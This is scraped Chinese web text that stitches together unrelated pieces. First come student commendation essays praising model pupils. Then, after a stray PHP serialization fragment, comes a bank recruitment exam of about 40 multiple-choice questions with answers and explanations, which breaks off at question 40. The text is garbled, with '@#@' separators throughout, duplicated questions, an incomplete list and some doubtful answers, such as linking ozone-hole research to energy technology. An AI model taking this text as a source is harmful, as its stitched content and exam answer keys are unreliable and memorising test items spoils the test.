@#@我们相信，***沐浴着灿烂的阳光，我的刻苦好学，拥有一颗感恩之心，一定会使我锻造成祖国的有用之才。

@#@@#@【篇五】@#@“天下大事必作于细，天下难事必作于易”。

@#@这是一名初中学生的座右铭，她不断用此来激励自己，使自己成为德、智、体全面发展的初中生。

@#@她的脸上总挂着自信的微笑，明亮的双眸透着智慧，她取得了许多荣誉：

@#@三好学生、校园之星、优秀班干部、科技少年„„她就是大磨中学七年级2班的学生**，一个阳光、神采飞扬的女孩，一位熠熠闪光的校园之星。

@#@@#@一、“踏实求知真，苦学亦天堂”@#@她爱学习，勤思考、爱钻研、求知欲强，有极强的独立自主学习能力。

@#@@#@记得五年级刚接触英语时，她的成绩较差，每次考试都不理想，但她没有气馁，暗暗地下定决心，要努力，再努力，一定要把英语成绩赶上去。

@#@她利用一切课余时间，补习英语：

@#@经常向老师和同学请教;@#@课堂上认认真真地听讲，思想从不开小差，积极思考和回答老师提出的问题，哪怕回答不正确，也毫不泄气;@#@早晨，很早就起床，坚持早读，背单词，练习口语，反复纠正发音;@#@中午和晚上，她吃完饭就拿起笔默写单词、句子。

@#@经过半年时间的不断努力，她的英语成绩得到快速提高，甚至让老师都感到惊讶，英语成绩开始名列班级前茅。

@#@通过这件事，她真正理解了“世上无难事，只怕有心人”这句话的含义。

@#@她把这种学习劲头也用到了别的学科上，提前预习、质疑反思、总结归纳，养成了独立自主的学习习惯，作业、考试都有了质的提升和飞跃，各门功课成绩一直保持在年级前列。

@#@@#@二、“琴棋书画养性情，社会实践长见识”@#@**父母深知广泛的兴趣爱好不仅能让初中生身心健康发展，更能培养她们的整体素质，为人生的大厦打下坚实的基础，她们从小就培养**广泛的兴趣爱好。

@#@@#@她参加了校舞蹈表演队，先后几次在校、县表演参赛。

@#@为了跳好学校编排的舞蹈，她不怕吃苦，勤加练习，在舞蹈中表现得特别完美，精彩的表演博得观众评委阵阵掌声，为学校挣得了荣誉。

@#@@#@她热爱读书和写作，每年的压岁钱她全部用来购买各种科普、励志、作文方面的书籍，她用学到的读书方法，如饥似渴地吸取着精华。

@#@知识面不断增加，视野也更加开阔。

@#@几年来，她的藏书达到了100余册，读书笔记足足8大本。

@#@她的作文是班级作文课堂上的范文，先后参加过多次作文比赛，并取得了优异的成绩。

@#@@#@她还热爱体育运动，像初升的太阳焕发着勃勃的生机。

@#@她给自己制定了一条作息时间表，严格作息时间。

@#@每早6点钟准时起床，6点半准时跑步。

@#@乒乓球、羽毛球等都打得很好，每学期学校举行的运动会，她参加的项目最多，得到的荣誉也最多。

@#@这不仅锻炼了她健康的体格，更重要的是让她有了阳光般的心态，不怕挫折，乐观向上。

@#@@#@常说字如其人，这话不假。

@#@**的脸庞正如她的字一样神采飞扬。

@#@为了把字写好，从五年级开始，她不光在写作业时字字严格要求自己，还买了各种字帖，利于课余时间刻苦练习写字。

@#@大到汉字间架结构的搭配琢磨，小到笔画的精雕细刻，标点符号、数字、字母等，冬练三九，夏练三伏，三年来，她练习书写过的各种字帖已经达到10余本，老师、同学们对她的字也是赞不绝口。

@#@@#@她还是家里的低碳宣传员，洗菜的水她浇花;@#@用过的易拉罐、包装盒做成小收纳盒，装饰居室。

@#@汶川大地震发生后，她把储钱罐里的钱全部捐出，每次捐助活动她都第一个捐钱捐物。

@#@钓鱼岛事件发生后，@#@她上网查阅日企日货，号召同学们及其家长自觉抵制日货，购买国货，她用行动诠释了一个中国小公民的爱国情感。

@#@@#@三、“修学先修人，处世德为先”@#@家庭的教育传统注重品德的培养，他的爸妈经常教育她要有责任感和奉献精神。

@#@她知道一个人要品性端正，自立自强是立身之本，她开始不断提高自己的道德素养和言行举止规范。

@#@尽自己最大的努力做到“孝敬父母，尊重师长，友爱同学，热爱祖国”。

@#@因此，她年年被评为三好学生、文明学生、优秀学生干部等荣誉称号。

@#@在学习好功课的同时，她在生活上也坚持做到“自己的事情自己做”，做到自主自立，提高自己适应环境和独立生活的能力。

@#@父亲在外打工，母亲要经常去地里干农活，为了不让父母为她分心，她学会了做饭、淘米、抄菜、洗碗、洗衣服等，家里的活，样样拿得起，放得下。

@#@当代孩子身上的那种娇惯、羸弱和霸道在她身上找不到一丝痕迹。

@#@她觉得孩子也应该多为父母着想，为她们分忧，替她们分担生活压力。

@#@百善孝为先，她孝敬老人，体贴父母，得到邻里的由衷夸赞。

@#@@#@【篇六】@#@老师的言传身教，父母的悉心熏陶，在她幼小的心灵里种下一粒粒健康向上的种子，使她一天天茁壮成长为一名品学兼优的好学生。

@#@在家，她是个尊敬长辈、孝敬父母、独立自强的好孩子;@#@在学校，她是位勤奋学习、心系集体、尊敬师长、团结同学的好学生;@#@在社会，她是位诚实守信、遵守社会公德、热心公益活动的好少年。

@#@她的品德修养深受老师、同学和周围人的一致好评。

@#@@#@她是老师眼中的好学生。

@#@在老师心目中，她勤奋学习、努力学好每一门功课。

@#@在知识的海洋里，她是一个快乐的畅游者，培养了良好的学习习惯和自学能力，学习成绩名列前茅，多次被表彰奖励。

@#@她尊敬师长团结同学，待人接物彬彬有礼，课内课外谦虚好学，从老师的辛勤耕耘中，一点一滴积累着收获。

@#@从老师的谆谆教诲中，不断塑造个性鲜明的自我。

@#@不论是当课代表还是班长她都尽职尽责，成为老师的好帮手。

@#@上课认真听讲，积极发言，勇于提出自己的见解，做好笔记，坚持做好错题集，利用课外时间主动学习课外知识，科学合理地安排文化学习与兴趣活动时间。

@#@@#@她是同学公认的好伙伴。

@#@在同学心目中她是知心朋友和学习榜样。

@#@与同学相处中，她待人随和，乐于关心帮助她人，善于调解同学间的矛盾，和同学在快乐生活中共同成长。

@#@同学在生活、学习中有困难都愿意找她，她也非常热心耐心得帮助同学。

@#@@#@对于班集体这个团队的荣誉她倍加爱护，只要是集体活动都会有她快乐的身影，只要是班集体的事情她都会主动承担，力求做得更好。

@#@@#@自小就懂事的她每日目睹爸爸妈妈辛勤工作。

@#@她看在眼里，记在了心里。

@#@放学回家，她主动帮父母做些力所能及的家务，打扫卫生、洗衣做饭样样在行。

@#@她从不乱花钱，但帮助别人时她又会很大方，周围邻居看在眼里，乐在心里，也夸奖她是个懂事的好孩子。

@#@@#@她心怀梦想，从三、四岁开始背诵《三字经》，《千字文》、到后来背诵《大学》、《老子》、还有《论语》、《孟子》部分篇章。

@#@让她受益匪浅，她深深地热爱上了中国的传统文化、爱上了的唐诗宋词。

@#@有一个梦想在她的心中渐渐成长，她想将来成为一个翻译官，让世界更多的人了解中国传统文化，成为一名优秀传统文化的承载者和传播者。

@#@@#@为了这个梦想，她从各个方面严格要求自己，努力学好各门课程。

@#@积极参加学校组织的各种活动。

@#@入学以来每学期被评为三好学生。

@#@获得过松阳县“关爱残疾人共创爱心松阳”征文比赛获二等奖,处州晚报小学生现场作文大赛获一等奖，浙江省第五届“睿达杯”五年级语文智能竞赛获一等奖，第二十届华杯赛小学高年级组二等奖，中央电视台“希望之星”英语风采大赛丽水赛区小B组获一等奖，实验小学首批“百佳少年”，浙江省第五届“群星杯”古筝分级大赛获铜奖，松阳县实验小学“文明礼仪伴我行“演讲比赛获一等奖。

@#@成绩已经成为过去，升入初中，新的起点，新的征程，但为了心中的梦想，她将一如既往。

@#@@#@【篇七】@#@在**县**街道颜徐学校，有一位熠熠闪光的校园之星，他取得了许多荣誉：

@#@雷锋式的好少年、校文明之星、学习标兵、县三好学生&@#@&@#@他脸上总挂着自信的微笑，明亮的双眸透着智慧，他充满爱心，自强自律，品学兼优，全面发展，以自己的行动不断地为胸前的红领巾增光添彩。

@#@他就是颜徐学校六年级三班班长燕xx。

@#@@#@班级的领头雁@#@在学校，燕xx同学对待学习一丝不苟、脚踏实地。

@#@每一次的作业都按老师的要求认认真真地完成;@#@课堂上总能听到他独特的见解。

@#@学习上是大家公认的领头雁。

@#@时间是挤出来的，我要多学习多锻炼自己，为学校争得荣誉。

@#@燕xx同学总是这样说。

@#@校内外的学习、活动常常忙得他不亦乐乎，但他总是充满自信地面对。

@#@在同学心中，燕xx同学更是被大家公认的热心人。

@#@不管谁有困难，他都会伸出热情之手，她主动要求和差生做同桌，在学习上他们结对，帮助鼓励他们。

@#@@#@家里的好孩子@#@在家里，他是个懂得感恩的好孩子。

@#@提起燕xx，小区的居民无不啧啧称赞，因为他在家里孝敬长辈，和睦邻里，小小年纪就有了很好的口碑。

@#@妈妈做饭时，他总爱在一旁帮忙，淘米、择菜、打鸡蛋，都是他的拿手好活。

@#@爷爷奶奶年纪大了，细心的他常常陪老人散步聊天。

@#@晚上，做完作业的他，为爷爷捶背，让老人开心。

@#@平时他坚持自己的事情自己做。

@#@整理房间，洗衣服。

@#@有时老家有事，妈妈需要回去操办，他就自己一人在家，做饭学习，把家里整理得井井有条。

@#@百善孝为先。

@#@他孝敬老人，体贴父母，得到邻里的由衷夸赞。

@#@@#@社区的小雷锋@#@在社会，他是一位热心公益、拾金不昧的小公民。

@#@他是学校文明志愿者，常带着几位小伙伴主动为社区做好事。

@#@捡拾绿化带白色垃圾，擦洗楼道栏杆，清理墙壁上的小广告等。

@#@弯弯腰，捡出一片净土。

@#@外出游玩、小区散步，他总不忘随手捡起地上的奶盒、纸屑，一言一行讲道德，举手投足见文明。

@#@@#@这就是美德好少年燕xx，他全面发展，积极进取，奉献为乐，表现优异，是一位美德好少年。

@#@我们相信，燕xx同学秉感恩之心，以爱心待人，在未来的学习、生活中一定会演绎更多的精彩。

@#@@#@@#@本文网址：

@#@@#@";i:

29;s:

28690:

"湖南省娄底地区新化县农业银行考试真题及答案@#@　　一、选择题（在下列每题四个选项中选择符合题意的，将其选出并把它的标号写在题后的括号内。

@#@@#@　　错选、多选或未选均不得分。

@#@）@#@　　1、先有工程设计图，然后施工建成大楼。

@#@这一事实说明（）。

@#@@#@　　A、意识产生物质@#@　　B、意识可以转化为物质@#@　　C、意识决定物质@#@　　D、意识创造物质@#@　　【答案】B@#@　　【解析】建造大楼，首先要设计，然后才有大楼的建成，这只是说明意识可以转化为物质，并不能得出意识第一性。

@#@@#@　　“意识转化成物质”是需要条件的，该条件就是必须是正确的意识指导实践在改造世界中获得成功。

@#@因此B项当选。

@#@@#@　　2、没有理性的指导，眼睛是最坏的证人，意在强调（）。

@#@@#@　　A、感性认识的重要性@#@　　B、理性认识的重要性@#@　　C、理性认识比感性认识更重要@#@　　D、感性认识比理性认识更重要@#@　　【答案】B@#@　　【解析】感性认识和理性认识是认识的不同阶段，二者是辩证统一的。

@#@感性认识是理性认识的基础，理性认识是感性认识的指导。

@#@@#@　　“理性的指导”是指理性认识，“眼睛”所见到的是感性认识。

@#@这句话意在强调理性认识的重要性，指出离开理性的感性是盲目的，甚至会歪曲事物的真相，但并不是说理性认识地位高于感性认识。

@#@@#@　　故选B。

@#@@#@　　3、在现实生活中，价值规律对生产和交换活动的支配作用是通过（）表现出来的。

@#@@#@　　A、商品销售数量@#@　　B、产品生产数量@#@　　C、商品价格运动@#@　　D、货币流通速度@#@　　【答案】C@#@　　【解析】价值规律的基本内容是，商品的价值量由生产商品的社会必要劳动时间来决定；@#@商品交换以价值量为基础，实行等价交换。

@#@在现实生活中，价值规律对生产和交换活动的支配作用是通过价格运动表现出来的。

@#@故选C。

@#@@#@　　4、为应付复杂的行政管理事务，我们在进行行政决策时要拟订多个方案。

@#@不属于行政决策的是（）。

@#@@#@　　A、积极方案@#@　　B、消极方案@#@　　C、临时方案@#@　　D、应变方案@#@　　【答案】B@#@　　【解析】行政决策方案分类一般有四种：

@#@积极方案、追踪方案、临时方案和应变方案。

@#@B项不属于行政决策方案。

@#@@#@　　5、这篇公文的主要语言风格是（）。

@#@@#@　　A、平实易懂@#@　　B、准确生动@#@　　C、艰深晦涩@#@　　D、庄重周严@#@　　【答案】D@#@　　【解析】公文语言有着与其他文章不同的特点，即准确、庄重、平实、简明。

@#@作为批复，尤其要做到庄重周严，所以选D。

@#@@#@　　6、理性经济人假设是西方经济学理论的逻辑基础，这一理论假设的核心是认为人（）。

@#@@#@　　A、追求经济利益的最大化@#@　　B、追求自我利益的最大化@#@　　C、没有利他心@#@　　D、追求经济利益和社会利益的最大化@#@　　【答案】A@#@　　【解析】西方经济学理论的基本前提是理性人假设。

@#@理性人的基本特征是：

@#@每一个从事经济活动的人所采取的经济行为都是力图以自己的最小经济代价去获得自己的最大经济利益，即主体所追求的唯一目标是经济利益的最大化。

@#@@#@　　7、历史唯物主义认为人民群众是历史的创造者，下列选项中没有体现这一点的是（）。

@#@@#@　　A、人民群众的一切活动都推动社会历史前进@#@　　B、人民群众是物质财富的创造者@#@　　C、人民群众是实现社会变革的决定力量@#@　　D、人民群众是社会精神财富的创造者@#@　　【答案】A@#@　　【解析】A项表述过于绝对，错误。

@#@当选。

@#@@#@　　8、孔子说：

@#@@#@　　“见人不可不饰。

@#@”可见着装在社交中具有重要的礼仪职能。

@#@下列选项中，不符合着装礼仪原则的是（）。

@#@@#@　　A、个性原则@#@　　B、合礼原则@#@　　C、整体性原则@#@　　D、奢华原则@#@　　【答案】D@#@　　【解析】着装的原则：

@#@①个性原则：

@#@②合礼原则：

@#@③TPO原则：

@#@④整体性原则：

@#@⑥整洁性原则。

@#@故选D。

@#@@#@　　9、对于夏季防雷常识，下列选项中论述正确的是（）。

@#@@#@　　A、遇到雷雨时，人们应尽快进入室内，打开窗户通风，并尽快通过电视、电脑或收音机了解此次雷雨的相关信息@#@　　B、汽车金属外壳易导电，所以在汽车上遇到雷雨时，应尽可能跑出汽车避雷@#@　　C、在游泳池或河边遇到雷雨时，可以跳入水中，因为有水的保护，雷难以直接打到人身上，所以在水中较为安全@#@　　D、切勿站在山顶、楼顶，不宜把羽毛球拍、高尔夫球杆等扛在肩上@#@　　【答案】D@#@　　【解析】发生雷寸时，应尽量避免打开电视、电脑、收音机等电器，尤其是在开窗的情况下。

@#@汽车轮胎绝缘，坐在车上无触电危险，应尽量避免跑出车外。

@#@水是导体，跳入水中实际上增大了触电的危险系数。

@#@故选D。

@#@@#@　　10、唯心主义都认为（）。

@#@@#@　　A、世界是精神的产物@#@　　B、精神决定物质@#@　　C、世界是不可知的@#@　　D、世界是“绝对观念”的产物@#@　　【答案】AB@#@　　【解析】此题考查的知识点是唯心主义的实质。

@#@唯心主义不论其表现形式如何，都是承认精神是第一性的，精神决定物质。

@#@因此@#@　　A、B两项是应选项。

@#@不可知论不是唯心主义的共同观点，因为大多数唯心主义也都是可知论。

@#@D项是客观唯心主义的观点，不属于唯心主义的共同特点。

@#@@#@　　11、下列文学作品中，属于魔幻现实主义流派的代表作的是（）。

@#@@#@　　A、卡夫卡的《变形记》@#@　　B、梅特林克的《青鸟》@#@　　C、马尔克斯的《百年孤独》@#@　　D、贝克特的《等待戈多》@#@　　【答案】C@#@　　【解析】魔幻现实主义文学是20世纪50年代崛起于现代拉丁美洲文坛、富有撼动世界的轰动效应的现代派文学重要流派，其主张把现实投放到虚幻的环境和气氛中，给以客观、详尽的描述，使现实披上一层光怪陆离的魔幻外衣，该流派的主要代表作品是阿格达斯的《深沉的河流》、马尔克斯的《百年孤独》等，因此C项正确。

@#@@#@　　A项卡夫卡的《变形记》属于表现主义流派的代表作。

@#@B项梅特林克的《青鸟》属于象征主义流派的代表作。

@#@D项贝克特的《等待戈多》属于荒诞派戏剧流派的代表作。

@#@@#@　　12、下列属于告知类公文的是（）。

@#@@#@　　A、公报@#@　　B、通告@#@　　C、报告@#@　　D、函@#@　　【答案】AB@#@　　【解析】告知类用于直接公开发布或传达公文内容，使一定范围内的社会组织以及公民知晓，以便正确地处理各种事物。

@#@告知类公文主要包括公报、公告、通告等。

@#@报告是向上级机关汇报工作、反映情况、提出意见或者建议，答复上级机关的询问时使用的公文。

@#@函是不相隶属机关之间相互商洽工作、询问和答复问题，或者向有关主管部门请求批准事项时所使用的公文。

@#@报告和函均不属于告知类公文，故正确答案为@#@　　A、B。

@#@@#@　　13、在夫妻双方没有约定时，婚姻关系存续期间所得的下列财产中，属于夫妻共同财产的是（）。

@#@@#@　　A、一方专用的生活用品@#@　　B、一方的婚前财产@#@　　C、一方身体受到伤害获得的医疗费@#@　　D、一方知识产权收益@#@　　【答案】D@#@　　【解析】夫妻在婚姻关系存续期间所得的下列财产，归夫妻共同所有：

@#@@#@　　

（1）工资、奖金；@#@@#@　　

（2）生产、经营的收益；@#@@#@　　（3）知识产权的收益；@#@@#@　　（4）继承或赠与所得的财产；@#@@#@　　（5）其他应当归共同所有的财产．夫妻对共同所有的财产，有平等的处理权。

@#@@#@　　14、公文标题中，（）是不能省略的。

@#@@#@　　A、文种@#@　　B、事由@#@　　C、机关名称@#@　　D、发送机关@#@　　【答案】A@#@　　【解析】本题考查的是公文标题的构成要素。

@#@标题可以是完全式的标题，也可以是不完全式的标题。

@#@一个完全式的标题是机关+事由+文种三大要素构成。

@#@不完全式的标题当中可以省略机关，可以省略事由，但是唯一文种是不可以省略的。

@#@故本题选择A选项。

@#@@#@　　15、公文中若有附件，附件说明应在（）。

@#@@#@　　A、在正文下空1行顶格处@#@　　B、在正文下空1行左空1字处@#@　　C、在正文下空1行左空2字处@#@　　D、在正文下空1行右空2字处@#@　　【答案】C@#@　　【解析】本题考查的是公文的基本格式，在正文下空一行左空二字编排“附件”二字，后标全角冒号和附件名称。

@#@如有多个附件，使用阿拉伯数字标注附件顺序号（如“附件：

@#@1.XXXXX”）；@#@附件名称后不加标点符号。

@#@附件名称较长需回行时，应当与上一行附件名称的首字对齐。

@#@故本题选择C项。

@#@@#@　　16、本文的主题词应为（）。

@#@@#@　　A、主题词：

@#@水费问题函@#@　　B、主题词：

@#@水费问题答复@#@　　C、主题词：

@#@水费问题复函@#@　　D、主题词：

@#@水费问题答复函@#@　　【答案】A@#@　　【解析】本题考查的是主题词。

@#@公文中标注的最后一个主题词（也即“形式”，此前的都属“内容”）是该公文的文种。

@#@只有函是文种，@#@　　B、C、D三项中的答复、复函、答复函都不属于文种，所以本题答案选A。

@#@但2012最新版的公文规范已经将主题词删除。

@#@@#@　　17、山脉的延伸方向被称为走向。

@#@下列山脉中，走向与其他三项不同的是（）。

@#@@#@　　A、长白山@#@　　B、六盘山@#@　　C、横断山脉@#@　　D、贺兰山脉@#@　　【答案】A@#@　　【解析】@#@　　B、C、D三项的山脉走向相同，均为南北走向。

@#@而A项的长白山为东北─西南走向的山脉，与其他三项不同。

@#@@#@　　18、（）不是市场经济主要规律。

@#@@#@　　A、价值规律@#@　　B、竞争规律@#@　　C、调节规律@#@　　D、供求规律@#@　　【答案】C@#@　　【解析】市场经济的三大主要规律是价值规律、供求规律和竞争规律。

@#@@#@　　19、（）不是市场经济主要规律。

@#@@#@　　A、价值规律@#@　　B、竞争规律@#@　　C、调节规律@#@　　D、供求规律@#@　　【答案】C@#@　　【解析】市场经济的三大主要规律是价值规律、供求规律和竞争规律。

@#@@#@　　20、绝对真理和相对真理的关系是（）。

@#@@#@　　A、绝对真理通过相对真理表现出来@#@　　B、相对真理中包含着绝对真理的成分@#@　　C、相对真理和绝对真理没有固定不变的界限@#@　　D、任何真理都是相对真理和绝对真理的统一@#@　　【答案】ABCD@#@　　【解析】本题考察绝对真理和相对真理的关系，任何真理都是相对真理和绝对真理的统一。

@#@@#@　　21、级差地租第一形态来源于（）。

@#@@#@　　A、土地本身@#@　　B、具有较高劳动生产率的劳动@#@　　C、土地私有权的垄断@#@　　D、农产品的价值@#@　　【答案】B@#@　　【解析】级差地租第一形态是指由于土地肥沃和地理位置不同而产生的级差地租。

@#@故选B。

@#@@#@　　22、将决策概念带到互助、正式和非正式关系的层面上的是（）。

@#@@#@　　A、西蒙和林德布罗姆@#@　　B、亚里士多德@#@　　C、阿利森和拉斯维尔@#@　　D、伊斯顿和拉斯维尔@#@　　【答案】D@#@　　【解析】伊斯顿和拉斯维尔将决策概念带到互助、正式和非正式关系的层面上;@#@西蒙从理性、非理性的心理层面考察决策;@#@林德布罗姆又加上了渐进主义的解释;@#@阿利森将决策附着于官僚体系及其政治运作的模式。

@#@@#@　　23、赤潮作为一种自然现象虽然自古就有，但是随着工农业生产的迅速发展，水体污染日益加重，赤潮也日趋严重。

@#@近年来，人们采取了一系列治理措施，取得了明显效果。

@#@从尊重客观规律与发展主观能动性的角度看（）。

@#@@#@　　A、赤潮不能消失但能有效遏制@#@　　B、赤潮治理必须尊重客观规律@#@　　C、人类总有一天能够消灭赤潮@#@　　D、赤潮不能消灭也不能遏制@#@　　【答案】AB@#@　　【解析】本题考查物质与意识的辩证关系。

@#@由人类解决赤潮问题的过程可知，赤潮作为一种自然现象可以被扼制，但并不能彻底消灭，因此CD项观点错误。

@#@人们采取了治理措施治理赤潮的事例说明人们发挥主观能动性必须以尊重客观规律为前提。

@#@AB两项均正确。

@#@故本题选择AB项。

@#@@#@　　24、人们做事要善于抓住重点，抓住主要矛盾。

@#@在下列成语中，体现了这一哲理的是（）。

@#@@#@　　A、刻舟求剑@#@　　B、守株待兔@#@　　C、掩耳盗铃@#@　　D、画龙点睛@#@　　【答案】D@#@　　【解析】本题考查主要矛盾。

@#@刻舟求剑反映了主人公忽视了绝对运动与相对静止的关系；@#@守株待兔犯了将偶然性当作必然性的错误；@#@掩耳盗铃犯了主观唯心主义的错误，事物是客观存在的，不因为你闭上了眼睛就不存在或者改变形状。

@#@画龙点睛突出了重点，体现了主要矛盾的重要性。

@#@故本题选D。

@#@@#@　　25、对南极臭氧层空洞的研究要涉及（）。

@#@@#@　　A、信息技术@#@　　B、能源技术@#@　　C、海洋技术@#@　　D、生物技术@#@　　【答案】B@#@　　【解析】南极臭氧层空洞的研究要涉及能源技术。

@#@故选B。

@#@@#@　　26、计划类文书之所以被广泛使用，是因为它在（）等方面都有作用。

@#@@#@　　A、上情下达@#@　　B、下情上达@#@　　C、联络左右@#@　　D、统一自身步调@#@　　【答案】ABD@#@　　【解析】计划类公文包括：

@#@规划、设想、计划、要点、方案等，其作用有上情下达、下情上达、统一自身步调。

@#@@#@　　27、绝对地租形成的条件是（）。

@#@@#@　　A、农业的资本有机构成低于社会平均的资本有机构成@#@　　B、农业的资本有机构成等于社会平均的资本有机构成@#@　　C、农业的资本有机构成高于社会平均的资本有机构成@#@　　D、农业的资本有机构成高于个别工业部门的资本有机构成@#@　　【答案】A@#@　　【解析】农业的资本有机构成低于社会平均的资本有机构成，意味着农业的生产经营技术一般落后于工业，所耗费的劳动力比较多，有机构成低，则创造的的剩余价值较高，又因为农业的生产的垄断性，商品可以按照价值出售，不按照生产价格出售。

@#@故选A。

@#@@#@　　28、唐代诗人柳宗元有诗写道：

@#@@#@　　“信书成自误，经事渐知非。

@#@”下列观点与该诗句所含哲理相符的是（）。

@#@@#@　　A、知是行之始，行是知之成@#@　　B、方其知之，而行未及之，则知尚浅@#@　　C、知而不行，行而不知@#@　　D、不出户，知天下；@#@不窥牖，见天道@#@　　【答案】B@#@　　【解析】题干中柳宗元强调实践对认识的决定作用，B项符合。

@#@A项“知是行之始，行是知之成”和C项中“知而不行，行而不知”都出自《传习录》，是王阳明的观点，强调的是知行合一的重要性，认为实践和意识都很重要。

@#@D项“不出户，知天下；@#@不窥牖，见天道”出自《道德经》，强调的是万事万物的道理都在我们心中，是典型的唯心主义观点，没有强调实践和认识的关系，更没有强调实践的重要性。

@#@故选B。

@#@@#@　　29、对“工业和人的环境是人的一本打开的心理学”这一观点分析正确的是（）。

@#@@#@　　A、是唯心主义观点，不具有科学性@#@　　B、这一观点将工业和环境理解为主观的@#@　　C、工业和人的环境是人的实践活动和实践的产物，体现着人的爱好、心理和价值@#@　　D、否认了人的实践活动对象的客观性@#@　　【答案】C@#@　　【解析】实践是指人能动地改造客观世界的对象性活动。

@#@实践以人为主体，以客观事物为对象。

@#@工业和人的环境，一方面是客观的，另一方面它又是人的认识和价值观念的体现。

@#@正因为工业和人的环境是人的实践活动和实践的产物，体现着人的爱好、心理和价值，所以我们可以把工业和人的环境看作是人的一本打开的心理学。

@#@@#@　　故本题选C。

@#@@#@　　30、下列名医与著作的对应关系不正确的是（）。

@#@@#@　　A、华佗─《伤寒杂病论》@#@　　B、葛洪—《抱朴子》@#@　　C、孙思邈─《千金方》@#@　　D、李时珍─《本草纲目》@#@　　【答案】A@#@　　【解析】@#@　　《伤寒杂病论》的作者是张仲景，华佗的著作是《青囊经》，因此A项错误，当选。

@#@@#@　　31、适用于表彰先进、批评错误、传达重要精神和告知重要情况的公文是（）。

@#@@#@　　A、公告@#@　　B、调查@#@　　C、通知@#@　　D、通报@#@　　【答案】D@#@　　【解析】通报，用于表彰先进，批评错误，传达重要精神和告知重要情况。

@#@故选D。

@#@@#@　　32、孔子说听其言必责其用，观其行必求其功。

@#@”这句话的认识论含义是（）。

@#@@#@　　A、强调认识对实践的指导作用@#@　　B、强调实践对认识的检验作用@#@　　C、认为认识可以脱离实践而存在@#@　　D、认为实践是认识发展的动力@#@　　【答案】B@#@　　【解析】孔子的这句话是其在知行观方面的典型观点，强调行（实践）在检验言（认识）中的作用。

@#@故本题选B。

@#@@#@　　33、荀子曰：

@#@@#@　　“天有常道矣，地有常数矣。

@#@”下列选项中反映出相同哲理的是（）。

@#@@#@　　A、李杜诗篇万口传，至今已觉不新鲜@#@　　B、夕阳无限好，只是近黄昏@#@　　C、历尽天华成此景，人间万事出艰辛@#@　　D、凡物各自有根本，种禾终不生豆苗@#@　　【答案】D@#@　　【解析】@#@　　“天有常道矣，地有常数矣”反映了物质世界的发展有其自身的客观规律，不以人的意志为转移，即规律的客观性原理。

@#@D项说的是事物的生长有其自然规律，种谷子是不可能长成豆苗的，与题干体现的哲理相同。

@#@A项体现的是发展的观点。

@#@B项体现的是事物都有一个产生、发展、变化的过程。

@#@C项体现的是发展是前进性与曲折性的统一。

@#@@#@　　34、“没有民主就没有社会主义，就没有社会主义现代化”。

@#@这一论断指出了（）。

@#@@#@　　A、社会主义民主的本质@#@　　B、社会主义的特点@#@　　C、社会主义的内容@#@　　D、民主和社会主义、社会主义现代化的关系@#@　　【答案】D@#@　　【解析】A项错误，社会主义民主的本质是人民当家作主，题干没有体现。

@#@B项错误，社会主义的特点有公有制和共同富裕等，题干没有体现。

@#@C项错误，社会主义的本质内容是解放生产力，发展生产力，消灭剥削，消除两极分化，最终达到共同富裕，题干没有体现。

@#@D项正确，题干前半段“没有民主就没有社会主义”指出了民主和社会主义的关系，后半段“就没有社会主义现代化”指出了民主和社会主义现代化的关系。

@#@故选D。

@#@@#@　　35、乙地区的农产品生产过程的各项作业、各个环节分别由不同的农业企业来完成，其专业化类型是（）。

@#@@#@　　A、农业企业专业化@#@　　B、农业生产地区专业化@#@　　C、农业作业专业化@#@　　D、农业生产部门专业化@#@　　【答案】C@#@　　【解析】农业生产专业化具有以下四种类型:

@#@①农业生产部门专业化。

@#@是指随着农业生产的社会分工逐步加深，农业中的各生产部门由从属性部门发展成为独立的部门。

@#@②农业生产地区专业化。

@#@各地区具有不同的自然、经济、社会和历史等条件与特点。

@#@根据市场需求和适地生产的原则，各个地区因地制宜地专门生产一种或几种产品，从而形成农业生产的地区分工。

@#@③农业企业专业化。

@#@是指农业企业根据本企业的自然环境和社会经济条件，结合自身技术与经济优势，选择最适合的生产部门及产品作为专业化的主导部门集中经营，企业中的其他生产项目则降为从属地位，成为辅助性生产部门甚至消失。

@#@④农业作业专业化。

@#@又称农艺过程专业化，是指农产品生产过程的各项作业、各个环节，分别由不同的农业企业来完成。

@#@故选C。

@#@@#@　　36、下列加点的词语古今异义的是（）。

@#@@#@　　A、窈窕淑女，君子好逑@#@　　B、丈夫亦爱怜其少子乎@#@　　C、孔雀东南飞，五里一徘徊@#@　　D、因利乘便，宰割天下，分裂河山@#@　　【答案】B@#@　　【解析】A项中“淑女”古今意思都是“贤良美好的女子”。

@#@B项中“丈夫”指成年男子，在现代汉语中则指已婚女子的配偶，与“妻子”相对。

@#@C项中“徘徊”古今意思都是在一个地方来回地走，比喻犹豫不决。

@#@D项中“分裂”古今意思都是将整个事物分开。

@#@@#@　　37、下列诗句与其描写的名山对应正确的是（）。

@#@@#@　　A、会当凌绝顶，一览众山小──庐山@#@　　B、天柱一峰擎日月，洞门千仞锁云雷──衡山@#@　　C、亘古无双胜境，天下第一仙山──黄山@#@　　D、奇峰出奇云，秀木含秀气──天柱山@#@　　【答案】D@#@　　【解析】唐代诗人杜甫用“会当凌绝顶，一览众山小”来形容东岳泰山的高峻，A项错误。

@#@白居易的“天柱一峰擎日月，洞门千仞锁云雷”与李白的“奇峰出奇云，秀木含秀气”都是对南岳天柱山雄奇景象的精彩描述，B项错误，D项正确。

@#@@#@　　“亘古无双胜境，天下第一仙山”描绘的是武当山，C项错误。

@#@@#@　　38、人们做事要善于抓住重点，抓住主要矛盾。

@#@在下列成语中，体现了这一哲理的是（）。

@#@@#@　　A、刻舟求剑@#@　　B、守株待兔@#@　　C、掩耳盗铃@#@　　D、画龙点睛@#@　　【答案】D@#@　　【解析】本题考查主要矛盾。

@#@刻舟求剑反映了主人公忽视了绝对运动与相对静止的关系；@#@守株待兔犯了将偶然性当作必然性的错误；@#@掩耳盗铃犯了主观唯心主义的错误，事物是客观存在的，不因为你闭上了眼睛就不存在或者改变形状。

@#@画龙点睛突出了重点，体现了主要矛盾的重要性。

@#@故本题选D。

@#@@#@　　39、绝对真理和相对真理的关系是（）。

@#@@#@　　A、绝对真理通过相对真理表现出来@#@　　B、相对真理中包含着绝对真理的成分@#@　　C、相对真理和绝对真理没有固定不变的界限@#@　　D、任何真理都是相对真理和绝对真理的统一@#@　　【答案】ABCD@#@　　【解析】本题考察绝对真理和相对真理的关系，任何真理都是相对真理和绝对真理的统一。

@#@@#@　　40、下列公文用语中没有歧义的是（）。

